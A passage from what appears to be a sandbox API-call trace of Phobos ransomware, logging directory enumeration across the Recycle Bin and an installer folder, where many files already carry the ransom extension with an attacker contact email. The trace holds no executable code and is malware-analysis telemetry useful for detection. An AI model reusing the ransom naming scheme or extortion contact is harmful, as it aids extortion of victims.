out: hFindFile=0x7393e8) returned 1 [0131.989] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0131.989] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0131.989] FindClose (in: hFindFile=0x7392e8 | out: hFindFile=0x7392e8) returned 1 [0131.989] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b70078 | out: hHeap=0xf10000) returned 1 [0131.990] FindNextFileW (in: hFindFile=0x739128, lpFindFileData=0x2b0f9d8 | out: lpFindFileData=0x2b0f9d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b0fc00, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0131.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0131.990] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0131.990] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0131.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x739168 [0131.991] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.991] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0131.991] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 0 [0131.991] FindClose (in: hFindFile=0x739168 | out: hFindFile=0x739168) returned 1 [0131.991] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0131.991] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0131.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0131.991] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.991] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x73275b92, ftCreationTime.dwHighDateTime=0x1d5120a, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0131.991] SetEvent (hEvent=0x2bc) returned 1 [0131.991] ResetEvent (hEvent=0x2c0) returned 1 [0131.991] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0131.992] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 0 [0131.992] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0131.992] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0131.992] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0131.992] FindClose (in: hFindFile=0x7393e8 | out: hFindFile=0x7393e8) returned 1 [0131.992] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b70078 | out: hHeap=0xf10000) returned 1 [0131.992] FindNextFileW (in: hFindFile=0x739128, lpFindFileData=0x2b0f9d8 | out: lpFindFileData=0x2b0f9d8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b0fc00, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0131.992] FindNextFileW (in: hFindFile=0x739128, lpFindFileData=0x2b0f9d8 | out: lpFindFileData=0x2b0f9d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b0fc00, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0131.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x739168 [0131.993] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0131.993] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1025", cAlternateFileName="")) returned 1 [0131.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0131.994] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.994] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0131.994] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf4c310, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0131.994] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0131.994] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0131.994] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0131.995] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0131.995] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1028", cAlternateFileName="")) returned 1 [0131.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.048] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.048] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf4c310, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf4c310, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf98766, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.048] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecfe4caa, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.048] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece68601, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.049] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece68601, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.049] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.049] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.049] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1029", cAlternateFileName="")) returned 1 [0132.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.051] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.051] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf98766, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf98766, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecfbea32, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.051] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfbea32, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecfbea32, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed031088, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.051] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.051] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.051] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.052] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.052] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1030", cAlternateFileName="")) returned 1 